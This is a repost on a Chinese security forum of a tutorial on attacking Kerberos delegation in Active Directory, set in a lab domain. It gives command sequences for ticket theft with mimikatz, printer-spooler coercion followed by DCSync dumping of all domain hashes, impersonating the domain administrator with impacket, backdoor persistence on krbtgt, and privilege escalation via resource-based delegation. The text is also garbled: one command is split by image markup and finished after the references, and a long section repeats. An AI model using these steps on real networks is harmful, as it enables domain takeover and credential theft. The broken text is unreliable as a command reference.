安全矩阵

 找回密码
 立即注册
搜索
查看: 2853|回复: 0

Kerberos委派攻击的那些事

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-9-10 08:58:40 | 显示全部楼层 |阅读模式
Kerberos委派攻击的那些事 (qq.com)
Kerberos委派攻击的那些事合天网安实验室 3天前

原创稿件征集

邮箱:edu@antvsion.com
QQ:3200599554
黑客与极客相关,互联网安全领域里
的热点话题
技术相关的调查或分析
稿件通过并发布还能收获
200-800元不等的稿酬
本文转自社区:https://xz.aliyun.com/t/10061
作者:17岁的one

前言本篇文章主要是对域渗透中的Kerberos委派攻击的利用手法进行简单的总结。(可能思路狭隘,有缺有错,师傅们多带带)域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。需要注意的是在域内可以委派的账户有两种,一种是主机账户,另一种是服务账户(域用户通过注册SPN也可以成为服务账号)。Kerberos委派主要分为三种:
非约束委派(Unconstrained Delegation)约束委派(Constrained Delegation)基于资源的约束委派(Resource-Based Constrained Delegation)
非约束委派和约束委派的流程,有兴趣的师傅可以去看看微软的手册。下面简单介绍下Kerberos的各类委派,如何配置如何发现实战场景中如何利用
非约束委派概述当域用户访问域内某服务时,如果该服务开启了非约束委派,用户会主动将自己已转发的的TGT发送服务,而该服务会将用户的TGT保存在内存以备下次重用,然后服务就可以利用该已转发的TGT以用户的身份访问该用户能访问的服务。非约束委派的安全问题就是如果我们找到配置了非约束委派的主机,并且通过一定手段拿下该主机的权限,我们就可以拿到所有访问过该主机用户的TGT。
如何配置和发现非约束委派的主机配置:


查找:

           

AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

利用场景被动
当我们在域内拿到一台配置了非约束委派的主机后,就可以使用mimikatz导出所有票据,若是有其他用户访问过该主机,那么我们就可以通过ptt获取该用户权限。
  1. mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
  2. kerberos::ptt
  3. psexec64.exe \\DC2012.0ne.test -accepteula -s cmd
复制代码

当然我们也可以诱导域管访问该主机,例如通过给管理员发诱饵文件修改Desktop.ini,或是outlook等等。详情可参考daiker师傅的发起NTLM请求。


域管在域控上点击此文件夹是就会访问win7,导出域管的TGT,ptt,psexec域控。


非约束委派+Spooler打印机服务
在实战中,被动的非约束委派的利用需要和目标用户交互比较鸡肋。因此可以利用非约束委派+Spooler 打印机服务可以强制指定的主机进行连接。


利用原理:利用 Windows 打印系统远程协议 (MS-RPRN) 中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。POC: https://github.com/leechristensen/SpoolSample在WIN7主机上运行该工具,强制域控向WIN7发起认证,然后导出票据,可以看到已经获取了DC2012$的TGT,符合DCSync的利用条件[域控制器计算机帐户]

  1. kerberos::ptt xxxx.kirbi
  2. lsadump::dcsync /domain:0ne.test /all /csv
复制代码





约束委派概述由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U。其中S4U支持两个子协议:

           
  •         Service for User to Self(S4U2self)

           
  •         Service for User to Proxy(S4U2proxy)

这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。配置它后,约束委派将限制指定服务可以代表用户去访问服务。该设置需要SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员。约束委派的安全问题就是如果我们找到配置了约束委派的服务账号,并且通过一定手段拿下该服务账号。我们就可以利用这个服务账号代表任意用户进行S4U2self获得一个可转发的票据,然后把获取到的票据用于S42proxy(作为AddtionTicket),从而获取一个可转发的TGS,服务就可以代替任意用户访问另外一个服务(既被配置的约束委派的服务)。
如何配置和发现约束委派的服务配置:

查找:
AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

也可以使用impacket工具包findDelegation.py找出所有的委派配置。

  1. findDelegation.py -dc-ip 192.168.17.134 -target-domain 0ne.test 0ne.test/zhangsan:zs@123456

复制代码



利用场景后门
约束委派可以作为变种黄金票据,用作后门权限维持。给后门账户[知道密码或是hash就成]注册SPN:

  1. setspn -U -A variant/golden lisi

复制代码

配置后门账户到域控的约束委派:




使用impactet工具包中的getST.py[其他工具也成],模拟域管理员administrator账号申请访问域控的ldap服务的ST。


  1. getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi -hashes xxxxx:xxxxxx

复制代码


​ptt,然后wmiexec到域控获取权限,或是secretsdump后随时随地pth域控:
  1. export KRB5CCNAME=administrator.ccache
  2. klist
  3. wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test
  4. secretsdump.py -k -no-pass DC2012.0ne.test -just-dc-user administrator
  5. wmiexec.py  0ne/administrator@192.168.17.134  -hashes xxxxx:xxxxxxx
复制代码






横向
打下配置了约束委派的服务账号,我们就可以拿下被配置的约束委派的服务(A->B)。和上述利用方式一致:用A账号getST模拟administrator获取访问B的ST,ptt,wmiexec。
基于资源的约束委派概述配置约束委派,必须拥有SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员。为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。传统的约束委派是"正向的",通过将service2的SPN添加到service1的msDS-AllowedToDelegateTo属性中,并且配置service1的TrustedToAuthenticationForDelegation属性为true。传统的约束委派S4U2self返回的票据一定是可转发的,如果不可转发那么S4U2proxy将失败;但是基于资源的约束委派不同,就算S4U2self返回的票据不可转发,S4U2proxy也是可以成功,并且S4U2proxy返回的票据总是可转发。同时基于资源的约束委派(RBCD)配置则是相反的,通过将service1的SID添加到service2的msDS-AllowedToActOnBehalfOfOtherIdentity属性中,就可以达到相同目的。基于资源的约束委派具有传统的约束委派的所有安全问题,因为我们只需要拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,所以RBCD的利用比较于传统的约束委派场景多也简单。默认情况下以下账户拥有修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:

           
  •         Domain Admins(域管理员)

           
  •         mS-DS-CreatorSID(将该机器加入域的账户)

           
  •         NT AUTHORITY\SELF(机器账户本身)

RBCD的利用条件:

           
  •         能修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限

           
  •         一个具有SPN的账户的TGT

利用场景针对上述情况可衍生的利用场景。
后门
需要域管理员权限,修改krbtgt或是域控的msDS-AllowedToActOnBehalfOfOtherIdentity属性,加入已知后门账户的SID。Domain Admins使用ActiveDirectory模块,域控2012及以上默认安装。

  1. Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount lisi
  2. Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount
复制代码


  1. getST.py -dc-ip 192.168.17.134 -spn krbtgt -impersonate administrator 0ne.test/lisi:ls@123456
  2. wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@DC2012.0ne.test

复制代码


  1. Set-ADComputer DC2012 -PrincipalsAllowedToDelegateToAccount lisi
  2. Get-ADComputer DC2012 -Properties PrincipalsAllowedToDelegateToAccount
复制代码


  1. getST.py -dc-ip 192.168.17.134 -spn ldap/DC2012.0ne.test -impersonate administrator 0ne.test/lisi:ls@123456

复制代码


横向
A配置了到B的RBCD,打下A就可以打下B。和约束委派横向利用场景一致某公司有专门加域的域用户A或是其有添加过多台机器入域,获取该账户的权限后,可利用基于资源的约束委派修改机器属性,批量获取机器权限。mS-DS-CreatorSID如果我们想拿域内机器A的权限,如果我们又没有机器A的administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的,控制了这个用户A依然可以获取权限。mS-DS-CreatorSID假如张三就是上述用户A。如何查找类似的用户,非域管加域机器才会有mS-DS-CreatorSID属性:


  1. AdFind.exe -b "DC=0ne,DC=test" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
  2. AdFind.exe -b "DC=0ne,DC=test" -f "(&(objectsid=S-1-5-21-xxxxxxxx))" objectclass cn dn
复制代码


​​

​win7和web01的mS-DS-CreatorSID的值相同,都是被zhangsan加入域。通过一定手段打下张三,然后添加机器账号,设置test01到WIN7的RBCD:
  1. addcomputer.py -dc-ip 192.168.17.134 -computer-name 'test01​[align=center][img]https://img-blog.csdnimg.cn/img_convert/d4e542951f61fd69267d4c04c494382b.png[/img]​[/align][img=15,15]data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==[/img]
  2. ​​
  3. [align=center][img]https://img-blog.csdnimg.cn/img_convert/284bfbd8a6f68fea39f3b1b199714ac8.png[/img]​[/align][img=15,15]data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==[/img]
  4. ​模拟域管理员administrator账号申请访问win7的ST,ptt,然后wmiexec到目标主机:

  5. [code]getST.py -spn cifs/win7.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/test01$:test@123456
  6. wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@win7.0ne.test
复制代码



​​
同理WEB01也可以打下来。
提权
获取某域内web服务器的iis apppool\defaultapppool或是network service账户权限,虽然是低权限用户,但是这些账户出网时都是以当前机器账户身份,可以利用RBCD进行提权。NT AUTHORITY\SELF

使用https://github.com/pkb1s/SharpAllowedToAct, 添加机器账户并设置iis到web01的RBCD:

  1. SharpAllowedToAct.exe -m iis -p iis -t WEB01 -a DC2012.0ne.test -d 0ne.test

复制代码

​​

​​模拟域管理员administrator账号申请访问web01的ST,ptt,然后wmiexec到目标主机:
getST.py -spn cifs/web01.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/iis$:iiswmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@web01.0ne.test


某企业新员工张三入职后用工作电脑加入公司域时,使用的自己域账号,在攻防演习中被钓鱼上线,但是发现该用户没有在本地管理员组里面,可利用RBCD进行提权。mS-DS-CreatorSID域内获取某台主机低权限,可通过获取到机器加域的账号权限,再利用RBCD进行提权。mS-DS-CreatorSID这两场景和RBCD横向利用场景一致:加域账号->添加机器账号->设置RBCD->getST,ptt。
参考感谢3t2ugg1e师傅的服务云课堂分享,还有在网上愿意技术分享的各位师傅们。
(http://blog.nsfocus.net/analysis ... trained-delegation/)
(https://blog.ateam.qianxin.com/p ... ie/#redteamweb3user)
(https://daiker.gitbook.io/windows-protocol/)
(https://docs.microsoft.com/en-us ... 3-8f7a-1a5fc7e7290a)







-computer-pass test@123456 0ne.test/zhangsan:zs@123456
rbcd.py -f test01 -t win7 -dc-ip 192.168.17.134 0ne\\zhangsan:zs\@123456[/code]​

​​

​模拟域管理员administrator账号申请访问win7的ST,ptt,然后wmiexec到目标主机:

  1. getST.py -spn cifs/win7.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/test01$:test@123456
  2. wmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@win7.0ne.test
复制代码



​​
同理WEB01也可以打下来。
提权
获取某域内web服务器的iis apppool\defaultapppool或是network service账户权限,虽然是低权限用户,但是这些账户出网时都是以当前机器账户身份,可以利用RBCD进行提权。NT AUTHORITY\SELF

使用https://github.com/pkb1s/SharpAllowedToAct, 添加机器账户并设置iis到web01的RBCD:

  1. SharpAllowedToAct.exe -m iis -p iis -t WEB01 -a DC2012.0ne.test -d 0ne.test

复制代码

​​

​​模拟域管理员administrator账号申请访问web01的ST,ptt,然后wmiexec到目标主机:
getST.py -spn cifs/web01.0ne.test -impersonate administrator -dc-ip 192.168.17.134 0ne.test/iis$:iiswmiexec.py -dc-ip 192.168.17.134 -no-pass -k administrator@web01.0ne.test


某企业新员工张三入职后用工作电脑加入公司域时,使用的自己域账号,在攻防演习中被钓鱼上线,但是发现该用户没有在本地管理员组里面,可利用RBCD进行提权。mS-DS-CreatorSID域内获取某台主机低权限,可通过获取到机器加域的账号权限,再利用RBCD进行提权。mS-DS-CreatorSID这两场景和RBCD横向利用场景一致:加域账号->添加机器账号->设置RBCD->getST,ptt。
参考感谢3t2ugg1e师傅的服务云课堂分享,还有在网上愿意技术分享的各位师傅们。
(http://blog.nsfocus.net/analysis ... trained-delegation/)
(https://blog.ateam.qianxin.com/p ... ie/#redteamweb3user)
(https://daiker.gitbook.io/windows-protocol/)
(https://docs.microsoft.com/en-us ... 3-8f7a-1a5fc7e7290a)







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 17:39 , Processed in 0.014659 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表